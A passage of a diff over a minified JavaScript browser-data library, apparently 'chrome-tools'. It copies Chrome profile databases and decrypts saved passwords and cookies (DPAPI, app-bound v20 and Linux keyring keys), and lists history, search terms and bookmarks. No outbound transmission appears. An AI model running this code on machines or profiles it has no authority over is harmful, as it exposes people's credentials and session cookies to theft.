n=o.code;if(t&&(n==="EACCES"||n==="EPERM")){let i=process.platform==="darwin"?" Try Terminal.app if it already has access, or review the current app's permissions in System Settings \u2192 Privacy & Security.":" Check that your user has permission to read this directory.";throw new Error(`Permission denied reading the browser profile directory "${r}" (${n}).${i}`,{cause:o})}return[]}}function Je(e){let t=e||U(),r=L(t,"Local State");if(!k(r))return[];try{let o=ct(r,"utf-8"),i=JSON.parse(o)?.profile?.info_cache;return!i||typeof i!="object"?[]:Object.entries(i).map(([s,c])=>{let a=c;return{directory:s,name:a.name||s,gaiaName:a.gaia_name||"",userName:a.user_name||"",email:a.user_name||"",avatarIcon:a.avatar_icon||"",isUsingDefaultName:a.is_using_default_name??!0,isEphemeral:a.is_ephemeral??!1,activeTime:a.active_time||0}})}catch{return[]}}function ut(e){let t=e||U(),r=V(t),o=Je(t),n=new Map;for(let i of o)n.set(i.directory,i);return r.map(i=>{let s=n.get(i.name),c=i.path,a={};for(let f of Ye)a[f.replace(/\s+/g,"_").toLowerCase()]=k(L(c,f));return a.cookies=k(ne(c)),a.top_sites=k(L(c,"Top Sites")),a.extensions=k(L(c,"Extensions")),{directory:i.name,path:c,displayName:s?.name||i.name,gaiaName:s?.gaiaName||"",email:s?.email||"",avatarIcon:s?.avatarIcon||"",isEphemeral:s?.isEphemeral??!1,activeTime:s?.activeTime||0,dataFiles:a}})}function pt(e,t){let r=e||U(),o=L(r,t);return k(o)?o:null}function w({profilePath:e,chromeDir:t,profile:r,browser:o,onDiagnostic:n}={}){let i=o?N(o):void 0,s=e||t||U(i),c;try{c=V(s,{reportAccessDenied:!!n})}catch(a){n?.({profile:r??"",store:"User Data",code:"unreadable",message:a instanceof Error?a.message:String(a)}),c=[]}if(r){let a=c.filter(f=>f.name===r);if(a.length===0)throw new Error(`Profile "${r}" not found in ${s}`);return a}return c}import{copyFileSync as Et,rmSync as Bt}from"node:fs";import{basename as ae,dirname as Qe,join as _t}from"node:path";import{DatabaseSync as vt}from"node:sqlite";import{lstatSync as dt,mkdtempSync as mt,realpathSync as Xe}from"node:fs";import{tmpdir as gt}from"node:os";import{isAbsolute as yt,join as ht,relative as St,sep as wt}from"node:path";function T(e){try{let t=dt(e,{bigint:!0});if(!t.isFile())throw new h("unreadable",`Expected a regular store file: ${e}`);return t}catch(t){if(t.code==="ENOENT")return;throw t}}function ie(e,t){return!e||!t?e===t:e.dev===t.dev&&e.ino===t.ino&&e.size===t.size&&e.mtimeNs===t.mtimeNs&&e.ctimeNs===t.ctimeNs}function se(e,t){let r=Xe(gt()),o=Xe(e),n=St(o,r);if(!yt(n)&&n!==".."&&!n.startsWith(".."+wt))throw new h("snapshot_unavailable","The temporary directory is inside the source profile. Set it to a directory outside the profile.");return mt(ht(r,t))}function xt(e){return e.map(t=>{let r={};for(let o of Object.keys(t)){let n=t[o];typeof n=="bigint"?r[o]=Number(n):n instanceof Uint8Array&&!Buffer.isBuffer(n)?r[o]=Buffer.from(n.buffer,n.byteOffset,n.byteLength):r[o]=n}return r})}function bt(e,t){let r=["","-wal","-journal"],o=r.map(n=>T(e+n));if(!o[0])throw new h("missing_store",`Database file not found: ${e}`);try{for(let[n,i]of r.entries())o[n]&&Et(e+i,t+i)}catch(n){let i=n.code;throw["EBUSY","EPERM","EACCES","ENOENT"].includes(i??"")?new h("snapshot_unavailable",`Could not copy ${ae(e)} and its journals. Close the browser and retry if it is open.`,{cause:n}):n}if(r.some((n,i)=>!ie(o[i],T(e+n))))throw new h("snapshot_unavailable",`${ae(e)} changed during the copy. Close the browser and retry.`)}function Oe(e,t){let r=Qe(e),o=ae(r)==="Network"?Qe(r):r,n=se(o,"chrome-tools-"),i=_t(n,"snapshot.sqlite"),s;try{bt(e,i),s=new vt(i,{timeout:0}),s.exec("PRAGMA trusted_schema = OFF; PRAGMA query_only = ON;");let c=s;return t((a,f=[])=>{let l=a.replace(/^(?:\s+|--[^\n]*(?:\n|$)|\/\*[\s\S]*?\*\/)+/,"");if(!/^(SELECT|WITH|VALUES|EXPLAIN|PRAGMA)\b/i.test(l))throw new h("unreadable","Only read queries are supported.");let p=c.prepare(l);return p.setReadBigInts(!0),xt(p.all(...f))})}catch(c){if(c instanceof h)throw c;let a=c instanceof Error?c.message:String(c),f=/no such (table|column)/i.test(a)?"unsupported_schema":"unreadable";throw new h(f,`Database query failed on '${ae(e)}': ${a}`,{cause:c})}finally{try{s?.close()}finally{Bt(n,{recursive:!0,force:!0,maxRetries:3})}}}function v(e,t,r=[]){return Oe(e,o=>o(t,r))}function Pt(e,t){try{return v(e,"SELECT 1 FROM sqlite_schema WHERE type = 'table' AND name = ?",[t]).length>0}catch{return!1}}import{existsSync as Dt,readFileSync as Ct}from"node:fs";import{homedir as Ze}from"node:os";import{join as ce}from"node:path";var er=[{file:"Login Data",source:"device"},{file:"Login Data For Account",source:"account"}],Rt=ce(Ze(),".chrome_cdp_profile"),kt=ce(Ze(),".config","chrome-cdp-manager","config.json"),Ot=["0","off","none","false"];function At(){let e=process.env.CHROME_AUTOMATION_DIR?.trim();if(e&&Ot.includes(e.toLowerCase()))return;let t=e||Lt()||Rt;return V(t).length>0?t:void 0}function Lt(){try{let e=JSON.parse(Ct(kt,"utf-8"));return typeof e.profileDir=="string"&&e.profileDir?e.profileDir:void 0}catch{return}}function rr(e,t){let r=[],o=e||t?void 0:At();return o&&r.push(o),r.push(e),r}function Tt({chromeDir:e,profilePath:t,profile:r,browser:o}={}){let n=t||e,i=[];for(let s of rr(n,o)){let c;try{c=w({chromeDir:s,profile:r,browser:o})}catch(a){i.push({root:s??"default",profile:r??"*",file:"*",source:"device",exists:!1,rows:null,error:a instanceof Error?a.message:String(a)});continue}for(let a of c)for(let f of er){let l=ce(a.path,f.file),p={root:s??"default",profile:a.name,file:f.file,source:f.source,exists:Dt(l),rows:null};try{p.rows=v(l,"SELECT COUNT(*) AS n FROM logins")[0]?.n??0}catch(u){p.error=u instanceof Error?u.message:String(u)}i.push(p)}}return i}function It({chromeDir:e,profilePath:t,profile:r,search:o,browser:n,decryptionKey:i,onDiagnostic:s}={}){let c=t||e,a=n??_().id,f=rr(c,n),l=[],p=o?.toLowerCase(),u,g=!1;for(let m of f){let d;try{d=w({chromeDir:m,profile:r,browser:a,onDiagnostic:s})}catch(y){u??=y;continue}g=!0;for(let y of d)for(let E of er){let A=ce(y.path,E.file),ue=G(m??y.path,a,i,s,y.name,E.file);try{let C=v(A,`SELECT origin_url, username_value, password_value, date_last_used
21
- FROM logins ORDER BY origin_url`);for(let P of C){if(p&&!(P.origin_url&&P.origin_url.toLowerCase().includes(p))&&!(P.username_value&&P.username_value.toLowerCase().includes(p)))continue;let $=P.password_value?.length>0?ue(P.password_value):"";l.push({profile:y.name,source:E.source,url:P.origin_url,username:P.username_value,password:Buffer.isBuffer($)?$.toString("utf8"):$,lastUsed:B(P.date_last_used||0)})}}catch(C){S(s,y.name,E.file,C)}}}if(!g&&u)throw u;return l}import{readFileSync as $t}from"node:fs";import{join as Nt}from"node:path";function tr(e,t=""){let r=[];if(!e)return r;let o=t?`${t}/${e.name||""}`:e.name||"";if(e.type==="url"&&r.push({title:e.name||"",url:e.url||"",folder:t,dateAdded:B(e.date_added),dateLastUsed:B(e.date_last_used),id:e.id,guid:e.guid||""}),e.children&&Array.isArray(e.children))for(let n of e.children)r.push(...tr(n,o));return r}function Ft({chromeDir:e,profilePath:t,profile:r,folder:o,search:n,browser:i,onDiagnostic:s}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:i,onDiagnostic:s}),a=[];for(let l of c){let p=Nt(l.path,"Bookmarks");try{let u=$t(p,"utf-8"),m=JSON.parse(u).roots;if(!m)continue;let d=["bookmark_bar","other","synced"];for(let y of d)if(m[y]){let E=tr(m[y],"");for(let A of E)A.profile=l.name,a.push(A)}}catch(u){S(s,l.name,"Bookmarks",u instanceof SyntaxError?new Error("Invalid Bookmarks JSON."):u)}}let f=a;if(o){let l=o.toLowerCase();f=f.filter(p=>p.folder.toLowerCase().includes(l))}if(n){let l=n.toLowerCase();f=f.filter(p=>p.title.toLowerCase().includes(l)||p.url.toLowerCase().includes(l))}return f}import{join as or}from"node:path";function O(e){if(e===void 0)return;let t=Math.trunc(Number(e));return Number.isFinite(t)&&t>0?t:void 0}function R(e,t){let r=O(t);return r===void 0?e:e.slice(0,r)}function q(e){return`%${e.replace(/([%_\\])/g,"\\$1")}%`}function Ut({chromeDir:e,profilePath:t,profile:r,search:o,limit:n=100,browser:i,onDiagnostic:s}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:i,onDiagnostic:s}),a=[],f=O(n);for(let l of c){let p=or(l.path,"History");try{let u="SELECT url, title, visit_count, last_visit_time FROM urls",g=[];if(o){u+=" WHERE url LIKE ? ESCAPE '\\' OR IFNULL(title, '') LIKE ? ESCAPE '\\'";let d=q(o);g.push(d,d)}u+=" ORDER BY last_visit_time DESC",f&&(u+=` LIMIT ${f}`);let m=v(p,u,g);for(let d of m)a.push({profile:l.name,url:d.url,title:d.title||"",visitCount:d.visit_count||0,lastVisit:B(d.last_visit_time||0)})}catch(u){S(s,l.name,"History",u)}}return R(a,n)}function Mt({chromeDir:e,profilePath:t,profile:r,limit:o=100,browser:n,onDiagnostic:i}={}){let s=w({chromeDir:e,profilePath:t,profile:r,browser:n,onDiagnostic:i}),c=[],a=O(o);for(let f of s){let l=or(f.path,"History");try{let p=`SELECT kst.term, u.url
20
+ This profile may predate Chrome's encrypted-key scheme.`);let a=Buffer.from(c,"base64");if(!a.subarray(0,Be.length).equals(Be))throw new Error('Unexpected encrypted_key format (missing "DPAPI" prefix).');let f=Vr(a.subarray(Be.length));return ve.set(n,f),be.set(f,{chromeDir:o,browser:t}),f},getAppBoundKey(e,t=_()){let r=Pe(e||this.getDefaultChromeDir(t)),o=JSON.stringify([r,t.id]),n=xe.get(o);if(n)return n;if(ee.has(o))return;let i=b(r,"Local State");if(!H(i))return;let s;try{let f=Ke(i,"utf-8");s=JSON.parse(f)?.os_crypt?.app_bound_encrypted_key}catch{return}if(!s)return;let c=Buffer.from(s,"base64");if(!c.subarray(0,_e.length).equals(_e))return;let a=Yr(c.subarray(_e.length),t);if(!a.key){a.error&&ee.set(o,a.error);return}return ee.delete(o),xe.set(o,a.key),a.key},getAppBoundError(e,t=_()){let r=Pe(e||this.getDefaultChromeDir(t));return ee.get(JSON.stringify([r,t.id]))},decrypt(e,t){if(e.subarray(0,3).toString()==="v20"){let r=be.get(t),o=r&&this.getAppBoundKey?.(r.chromeDir,r.browser);return o?te(e,o):"<app-bound encryption unavailable>"}return $e(e,t)},clearCache(){ve.clear(),xe.clear(),ee.clear(),be=new WeakMap}};import{execFileSync as Jr}from"node:child_process";import{homedir as Xr}from"node:os";import{join as Ge}from"node:path";import{pbkdf2Sync as Qr}from"node:crypto";var Zr=1,et=16,rt=Buffer.from("saltysalt"),tt="peanuts",Ce=new Map;function ot(e){let t=he();if(t)return t(e);try{let r=Jr("secret-tool",["lookup","application",e],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim();if(r)return r}catch{}return tt}var Ve={name:"linux",getDefaultChromeDir(e=_()){let t=process.env.XDG_CONFIG_HOME||Ge(Xr(),".config");return Ge(t,...e.dirs.linux.split("/"))},getDecryptionKey(e,t=_()){let r=t.linuxSecretApp||"chrome",o=Ce.get(r);if(o!==void 0)return o;let n=Qr(ot(r),rt,Zr,et,"sha1");return Ce.set(r,n),n},decrypt(e,t){return re(e,t)},clearCache(){Ce.clear()}};var j=null;function F(){if(j)return j;switch(process.platform){case"darwin":j=Ue;break;case"win32":j=je;break;case"linux":j=Ve;break;default:throw new Error(`Unsupported platform: ${process.platform}. chrome-tools supports macOS, Windows, and Linux.`)}return j}function Re(e){return F().getDefaultChromeDir(ke(e))}function nt(e,t){return F().getDecryptionKey(e,ke(t))}function qe(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e);return F().decrypt(r,t)}function it(e,t){let r=qe(e,t);return Buffer.isBuffer(r)?r.toString("utf-8"):r}function st(){F().clearCache()}function ke(e){return e?typeof e=="string"?N(e):e:_()}function G(e,t,r,o,n,i){let s=ke(t),c=r,a,f=new Set;return l=>{let d;try{let u=F();u.getAppBoundKey&&l.subarray(0,3).toString()==="v20"?(a===void 0&&(a=u.getAppBoundKey(e,s)??null),d=a?te(l,a):"<app-bound encryption unavailable>"):(c??=u.getDecryptionKey(e,s),d=u.decrypt(l,c))}catch(u){throw new h("decryption_unavailable",u instanceof Error?u.message:String(u),{cause:u})}if(typeof d=="string"&&!f.has(d)){f.add(d);let u=d==="<app-bound encryption unavailable>"?F().getAppBoundError?.(e,s):void 0;S(o,n,i,new h("decryption_unavailable",u||d))}return d}}var Ye=["Login Data","History","Bookmarks","Cookies","Web Data","Local Storage","LocalStorage","Preferences"];function ne(e){let t=L(e,"Network","Cookies");return k(t)?t:L(e,"Cookies")}function ze(e){return Ye.some(t=>k(L(e,t)))||k(ne(e))}function M(e){return Re(e)}function lt({includeMissing:e=!1}={}){let t=[];for(let r of W()){let o=M(r),n=k(o);!n&&!e||t.push({browser:r,chromeDir:o,installed:n,profileCount:n?V(o).length:0})}return t}function V(e,{reportAccessDenied:t=!1}={}){let r=e||M();if(!r)return[];try{let o=at(r,{withFileTypes:!0}),n=[];for(let i of o){if(!i.isDirectory()||i.name==="Network")continue;let s=L(r,i.name);ze(s)&&n.push({name:i.name,path:s})}if(n.length===0&&ze(r)){let i=ft(r)||"Default";n.push({name:i,path:r})}return n}catch(o){let n=o.code;if(t&&(n==="EACCES"||n==="EPERM")){let i=process.platform==="darwin"?" Try Terminal.app if it already has access, or review the current app's permissions in System Settings \u2192 Privacy & Security.":" Check that your user has permission to read this directory.";throw new Error(`Permission denied reading the browser profile directory "${r}" (${n}).${i}`,{cause:o})}return[]}}function Je(e){let t=e||M(),r=L(t,"Local State");if(!k(r))return[];try{let o=ct(r,"utf-8"),i=JSON.parse(o)?.profile?.info_cache;return!i||typeof i!="object"?[]:Object.entries(i).map(([s,c])=>{let a=c;return{directory:s,name:a.name||s,gaiaName:a.gaia_name||"",userName:a.user_name||"",email:a.user_name||"",avatarIcon:a.avatar_icon||"",isUsingDefaultName:a.is_using_default_name??!0,isEphemeral:a.is_ephemeral??!1,activeTime:a.active_time||0}})}catch{return[]}}function ut(e){let t=e||M(),r=V(t),o=Je(t),n=new Map;for(let i of o)n.set(i.directory,i);return r.map(i=>{let s=n.get(i.name),c=i.path,a={};for(let f of Ye)a[f.replace(/\s+/g,"_").toLowerCase()]=k(L(c,f));return a.cookies=k(ne(c)),a.top_sites=k(L(c,"Top Sites")),a.extensions=k(L(c,"Extensions")),{directory:i.name,path:c,displayName:s?.name||i.name,gaiaName:s?.gaiaName||"",email:s?.email||"",avatarIcon:s?.avatarIcon||"",isEphemeral:s?.isEphemeral??!1,activeTime:s?.activeTime||0,dataFiles:a}})}function pt(e,t){let r=e||M(),o=L(r,t);return k(o)?o:null}function w({profilePath:e,chromeDir:t,profile:r,browser:o,onDiagnostic:n}={}){let i=o?N(o):void 0,s=e||t||M(i),c;try{c=V(s,{reportAccessDenied:!!n})}catch(a){n?.({profile:r??"",store:"User Data",code:"unreadable",message:a instanceof Error?a.message:String(a)}),c=[]}if(r){let a=c.filter(f=>f.name===r);if(a.length===0)throw new Error(`Profile "${r}" not found in ${s}`);return a}return c}import{copyFileSync as Et,rmSync as Bt}from"node:fs";import{basename as ae,dirname as Qe,join as _t}from"node:path";import{DatabaseSync as vt}from"node:sqlite";import{lstatSync as dt,mkdtempSync as mt,realpathSync as Xe}from"node:fs";import{tmpdir as gt}from"node:os";import{isAbsolute as yt,join as ht,relative as St,sep as wt}from"node:path";function T(e){try{let t=dt(e,{bigint:!0});if(!t.isFile())throw new h("unreadable",`Expected a regular store file: ${e}`);return t}catch(t){if(t.code==="ENOENT")return;throw t}}function ie(e,t){return!e||!t?e===t:e.dev===t.dev&&e.ino===t.ino&&e.size===t.size&&e.mtimeNs===t.mtimeNs&&e.ctimeNs===t.ctimeNs}function se(e,t){let r=Xe(gt()),o=Xe(e),n=St(o,r);if(!yt(n)&&n!==".."&&!n.startsWith(".."+wt))throw new h("snapshot_unavailable","The temporary directory is inside the source profile. Set it to a directory outside the profile.");return mt(ht(r,t))}function xt(e){return e.map(t=>{let r={};for(let o of Object.keys(t)){let n=t[o];typeof n=="bigint"?r[o]=Number(n):n instanceof Uint8Array&&!Buffer.isBuffer(n)?r[o]=Buffer.from(n.buffer,n.byteOffset,n.byteLength):r[o]=n}return r})}function bt(e,t){let r=["","-wal","-journal"],o=r.map(n=>T(e+n));if(!o[0])throw new h("missing_store",`Database file not found: ${e}`);try{for(let[n,i]of r.entries())o[n]&&Et(e+i,t+i)}catch(n){let i=n.code;throw["EBUSY","EPERM","EACCES","ENOENT"].includes(i??"")?new h("snapshot_unavailable",`Could not copy ${ae(e)} and its journals. Close the browser and retry if it is open.`,{cause:n}):n}if(r.some((n,i)=>!ie(o[i],T(e+n))))throw new h("snapshot_unavailable",`${ae(e)} changed during the copy. Close the browser and retry.`)}function Oe(e,t){let r=Qe(e),o=ae(r)==="Network"?Qe(r):r,n=se(o,"chrome-tools-"),i=_t(n,"snapshot.sqlite"),s;try{bt(e,i),s=new vt(i,{timeout:0}),s.exec("PRAGMA trusted_schema = OFF; PRAGMA query_only = ON;");let c=s;return t((a,f=[])=>{let l=a.replace(/^(?:\s+|--[^\n]*(?:\n|$)|\/\*[\s\S]*?\*\/)+/,"");if(!/^(SELECT|WITH|VALUES|EXPLAIN|PRAGMA)\b/i.test(l))throw new h("unreadable","Only read queries are supported.");let d=c.prepare(l);return d.setReadBigInts(!0),xt(d.all(...f))})}catch(c){if(c instanceof h)throw c;let a=c instanceof Error?c.message:String(c),f=/no such (table|column)/i.test(a)?"unsupported_schema":"unreadable";throw new h(f,`Database query failed on '${ae(e)}': ${a}`,{cause:c})}finally{try{s?.close()}finally{Bt(n,{recursive:!0,force:!0,maxRetries:3})}}}function v(e,t,r=[]){return Oe(e,o=>o(t,r))}function Pt(e,t){try{return v(e,"SELECT 1 FROM sqlite_schema WHERE type = 'table' AND name = ?",[t]).length>0}catch{return!1}}import{existsSync as Dt,readFileSync as Ct}from"node:fs";import{homedir as Ze}from"node:os";import{join as ce}from"node:path";var er=[{file:"Login Data",source:"device"},{file:"Login Data For Account",source:"account"}],Rt=ce(Ze(),".chrome_cdp_profile"),kt=ce(Ze(),".config","chrome-cdp-manager","config.json"),Ot=["0","off","none","false"];function At(){let e=process.env.CHROME_AUTOMATION_DIR?.trim();if(e&&Ot.includes(e.toLowerCase()))return;let t=e||Lt()||Rt;return V(t).length>0?t:void 0}function Lt(){try{let e=JSON.parse(Ct(kt,"utf-8"));return typeof e.profileDir=="string"&&e.profileDir?e.profileDir:void 0}catch{return}}function rr(e,t){let r=[],o=e||t?void 0:At();return o&&r.push(o),r.push(e),r}function Tt({chromeDir:e,profilePath:t,profile:r,browser:o}={}){let n=t||e,i=[];for(let s of rr(n,o)){let c;try{c=w({chromeDir:s,profile:r,browser:o})}catch(a){i.push({root:s??"default",profile:r??"*",file:"*",source:"device",exists:!1,rows:null,error:a instanceof Error?a.message:String(a)});continue}for(let a of c)for(let f of er){let l=ce(a.path,f.file),d={root:s??"default",profile:a.name,file:f.file,source:f.source,exists:Dt(l),rows:null};try{d.rows=v(l,"SELECT COUNT(*) AS n FROM logins")[0]?.n??0}catch(u){d.error=u instanceof Error?u.message:String(u)}i.push(d)}}return i}function It({chromeDir:e,profilePath:t,profile:r,search:o,browser:n,decryptionKey:i,onDiagnostic:s}={}){let c=t||e,a=n??_().id,f=rr(c,n),l=[],d=o?.toLowerCase(),u,g=!1;for(let m of f){let p;try{p=w({chromeDir:m,profile:r,browser:a,onDiagnostic:s})}catch(y){u??=y;continue}g=!0;for(let y of p)for(let E of er){let A=ce(y.path,E.file),ue=G(m??y.path,a,i,s,y.name,E.file);try{let C=v(A,`SELECT origin_url, username_value, password_value, date_last_used
21
+ FROM logins ORDER BY origin_url`);for(let P of C){if(d&&!(P.origin_url&&P.origin_url.toLowerCase().includes(d))&&!(P.username_value&&P.username_value.toLowerCase().includes(d)))continue;let $=P.password_value?.length>0?ue(P.password_value):"";l.push({profile:y.name,source:E.source,url:P.origin_url,username:P.username_value,password:Buffer.isBuffer($)?$.toString("utf8"):$,lastUsed:B(P.date_last_used||0)})}}catch(C){S(s,y.name,E.file,C)}}}if(!g&&u)throw u;return l}import{readFileSync as $t}from"node:fs";import{join as Nt}from"node:path";function tr(e,t=""){let r=[];if(!e)return r;let o=t?`${t}/${e.name||""}`:e.name||"";if(e.type==="url"&&r.push({title:e.name||"",url:e.url||"",folder:t,dateAdded:B(e.date_added),dateLastUsed:B(e.date_last_used),id:e.id,guid:e.guid||""}),e.children&&Array.isArray(e.children))for(let n of e.children)r.push(...tr(n,o));return r}function Ft({chromeDir:e,profilePath:t,profile:r,folder:o,search:n,browser:i,onDiagnostic:s}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:i,onDiagnostic:s}),a=[];for(let l of c){let d=Nt(l.path,"Bookmarks");try{let u=$t(d,"utf-8"),m=JSON.parse(u).roots;if(!m)continue;let p=["bookmark_bar","other","synced"];for(let y of p)if(m[y]){let E=tr(m[y],"");for(let A of E)A.profile=l.name,a.push(A)}}catch(u){S(s,l.name,"Bookmarks",u instanceof SyntaxError?new Error("Invalid Bookmarks JSON."):u)}}let f=a;if(o){let l=o.toLowerCase();f=f.filter(d=>d.folder.toLowerCase().includes(l))}if(n){let l=n.toLowerCase();f=f.filter(d=>d.title.toLowerCase().includes(l)||d.url.toLowerCase().includes(l))}return f}import{join as or}from"node:path";function O(e){if(e===void 0)return;let t=Math.trunc(Number(e));return Number.isFinite(t)&&t>0?t:void 0}function R(e,t){let r=O(t);return r===void 0?e:e.slice(0,r)}function q(e){return`%${e.replace(/([%_\\])/g,"\\$1")}%`}function Mt({chromeDir:e,profilePath:t,profile:r,search:o,limit:n=100,browser:i,onDiagnostic:s}={}){let c=w({chromeDir:e,profilePath:t,profile:r,browser:i,onDiagnostic:s}),a=[],f=O(n);for(let l of c){let d=or(l.path,"History");try{let u="SELECT url, title, visit_count, last_visit_time FROM urls",g=[];if(o){u+=" WHERE url LIKE ? ESCAPE '\\' OR IFNULL(title, '') LIKE ? ESCAPE '\\'";let p=q(o);g.push(p,p)}u+=" ORDER BY last_visit_time DESC",f&&(u+=` LIMIT ${f}`);let m=v(d,u,g);for(let p of m)a.push({profile:l.name,url:p.url,title:p.title||"",visitCount:p.visit_count||0,lastVisit:B(p.last_visit_time||0)})}catch(u){S(s,l.name,"History",u)}}return R(a,n)}function Ut({chromeDir:e,profilePath:t,profile:r,limit:o=100,browser:n,onDiagnostic:i}={}){let s=w({chromeDir:e,profilePath:t,profile:r,browser:n,onDiagnostic:i}),c=[],a=O(o);for(let f of s){let l=or(f.path,"History");try{let d=`SELECT kst.term, u.url
22
22
  FROM keyword_search_terms kst
23
23
  JOIN urls u ON kst.url_id = u.id
24
- ORDER BY u.last_visit_time DESC`;a&&(p+=` LIMIT ${a}`);let u=v(l,p);for(let g of u)c.push({profile:f.name,term:g.term||"",url:g.url||""})}catch(p){S(i,f.name,"History",p)}}return R(c,o)}import{existsSync as Kt}from"node:fs";import{createHash as Wt}from"node:crypto";function Ht(e,t){if(!Buffer.isBuffer(e))return e;let r=Wt("sha256").update(t).digest();return(e.length>=r.length&&e.subarray(0,r.length).equals(r)?e.subarray(r.length):e).toString("utf-8")}function jt(e){if(!e)return null;try{return new URL(e)}catch{try{if(!/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(e))return new URL("https://"+e)}catch{}}return null}function Gt(e){let t=new Set;t.add(e),t.add("."+e);let r=e.split(".");for(let o=1;o<r.length;o++){let n=r.slice(o).join(".");t.add(n),t.add("."+n)}return Array.from(t)}function Vt(e,t){return!!(e===t||t.startsWith(".")&&(e===t.slice(1)||e.endsWith(t)))}function qt(e,t){let r=e||"/",o=t||"/";return!!(o==="/"||r===o||r.startsWith(o)&&(o.endsWith("/")||r[o.length]==="/"))}function zt({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,domain:i,url:s,decrypt:c=!0,limit:a=100,decryptionKey:f}={}){let l=t||e,p=o??_().id,u=w({chromeDir:e,profilePath:t,profile:r,browser:p,onDiagnostic:n}),g=[],m=jt(s),d=O(a),y;for(let E of u){let A=ne(E.path);if(!Kt(A)){S(n,E.name,"Cookies",new h("missing_store","Cookies database file not found."));continue}let ue=G(l??E.path,p,f,n,E.name,"Cookies");try{let C=`SELECT host_key, name, value, encrypted_value, path,
24
+ ORDER BY u.last_visit_time DESC`;a&&(d+=` LIMIT ${a}`);let u=v(l,d);for(let g of u)c.push({profile:f.name,term:g.term||"",url:g.url||""})}catch(d){S(i,f.name,"History",d)}}return R(c,o)}import{existsSync as Kt}from"node:fs";import{createHash as Wt}from"node:crypto";function Ht(e,t){if(!Buffer.isBuffer(e))return e;let r=Wt("sha256").update(t).digest();return(e.length>=r.length&&e.subarray(0,r.length).equals(r)?e.subarray(r.length):e).toString("utf-8")}function jt(e){if(!e)return null;try{return new URL(e)}catch{try{if(!/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(e))return new URL("https://"+e)}catch{}}return null}function Gt(e){let t=new Set;t.add(e),t.add("."+e);let r=e.split(".");for(let o=1;o<r.length;o++){let n=r.slice(o).join(".");t.add(n),t.add("."+n)}return Array.from(t)}function Vt(e,t){return!!(e===t||t.startsWith(".")&&(e===t.slice(1)||e.endsWith(t)))}function qt(e,t){let r=e||"/",o=t||"/";return!!(o==="/"||r===o||r.startsWith(o)&&(o.endsWith("/")||r[o.length]==="/"))}function zt({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n,domain:i,url:s,decrypt:c=!0,limit:a=100,decryptionKey:f}={}){let l=t||e,d=o??_().id,u=w({chromeDir:e,profilePath:t,profile:r,browser:d,onDiagnostic:n}),g=[],m=jt(s),p=O(a),y;for(let E of u){let A=ne(E.path);if(!Kt(A)){S(n,E.name,"Cookies",new h("missing_store","Cookies database file not found."));continue}let ue=G(l??E.path,d,f,n,E.name,"Cookies");try{let C=`SELECT host_key, name, value, encrypted_value, path,
25
25
  expires_utc, is_secure, is_httponly, samesite,
26
26
  creation_utc, last_access_utc
27
- FROM cookies`,P=[],$=[];if(i)P.push("host_key LIKE ?"),$.push(`%${i}%`);else if(m){let x=Gt(m.hostname),J=x.map(()=>"?").join(", ");P.push(`host_key IN (${J})`),$.push(...x)}P.length>0&&(C+=` WHERE ${P.join(" AND ")}`),C+=" ORDER BY host_key, name",d&&!s&&(C+=` LIMIT ${d}`);let _r=v(A,C,$);for(let x of _r){if(m&&(!Vt(m.hostname,x.host_key||"")||!qt(m.pathname||"/",x.path||"/")||x.is_secure&&m.protocol!=="https:"))continue;let J=x.value||"";!J&&x.encrypted_value?.length>0&&c&&(J=Ht(ue(x.encrypted_value),x.host_key||"")),g.push({profile:E.name,domain:x.host_key||"",name:x.name||"",value:J,path:x.path||"/",expires:B(x.expires_utc||0),secure:!!x.is_secure,httpOnly:!!x.is_httponly,sameSite:["unspecified","lax","strict","none"][x.samesite]||"unspecified",created:B(x.creation_utc||0),lastAccessed:B(x.last_access_utc||0)})}}catch(C){S(n,E.name,"Cookies",C),y??=new Error(`Could not read cookies for profile "${E.name}" at ${A}: `+(C instanceof Error?C.message:String(C)))}}if(!n&&g.length===0&&y)throw y;return R(g,a)}import{join as gr}from"node:path";import{zstdDecompressSync as no}from"node:zlib";function z(e,t){let r=0,o=0;for(let n=t;n<e.length&&n<t+5;n++){let i=e[n];if(r|=(i&127)<<o,(i&128)===0)return{value:r>>>0,nextOffset:n+1};o+=7}return null}var Ae=64*1024*1024;function fe(e){let t=z(e,0);if(!t||t.value>Ae)throw new Error("Invalid Snappy length");let r=Buffer.alloc(t.value),o=t.nextOffset,n=0;for(;o<e.length&&n<r.length;){let i=e[o++],s=i&3;if(s===0){let f=i>>2;if(f<60)f+=1;else{let l=f-59;if(o+l>e.length)throw new Error("Invalid Snappy literal");f=1;for(let p=0;p<l;p++)f+=e[o++]<<p*8}if(o+f>e.length||n+f>r.length)throw new Error("Invalid Snappy literal length");e.copy(r,n,o,o+f),o+=f,n+=f;continue}let c,a;if(s===1){if(o>=e.length)throw new Error("Invalid Snappy copy");c=(i>>2&7)+4,a=(i&224)<<3|e[o++]}else if(s===2){if(o+2>e.length)throw new Error("Invalid Snappy copy");c=(i>>2)+1,a=e.readUInt16LE(o),o+=2}else{if(o+4>e.length)throw new Error("Invalid Snappy copy");c=(i>>2)+1,a=e.readUInt32LE(o),o+=4}if(a<=0||a>n||n+c>r.length)throw new Error("Invalid Snappy offset");for(let f=0;f<c;f++)r[n]=r[n-a],n++}if(n!==r.length)throw new Error("Truncated Snappy stream");return r}import{copyFileSync as Yt,readFileSync as nr,readdirSync as Jt,rmSync as Xt}from"node:fs";import{join as Y}from"node:path";function Te(e){return Jt(e).filter(t=>/\.(log|ldb|sst)$/i.test(t)).sort()}function pr(e,t){let r=se(t,"chrome-local-storage-");try{let o=Te(e),n=o.map(s=>T(Y(e,s)));try{for(let s of o)Yt(Y(e,s),Y(r,s))}catch(s){throw new h("snapshot_unavailable","Could not copy Local Storage. Close the browser and retry if it is open.",{cause:s})}let i=Te(e);if(i.length!==o.length||o.some((s,c)=>s!==i[c]||!ie(n[c],T(Y(e,s)))))throw new h("snapshot_unavailable","Local Storage changed during the copy. Close the browser and retry.");return Zt(r).values()}finally{Xt(r,{recursive:!0,force:!0,maxRetries:3})}}var 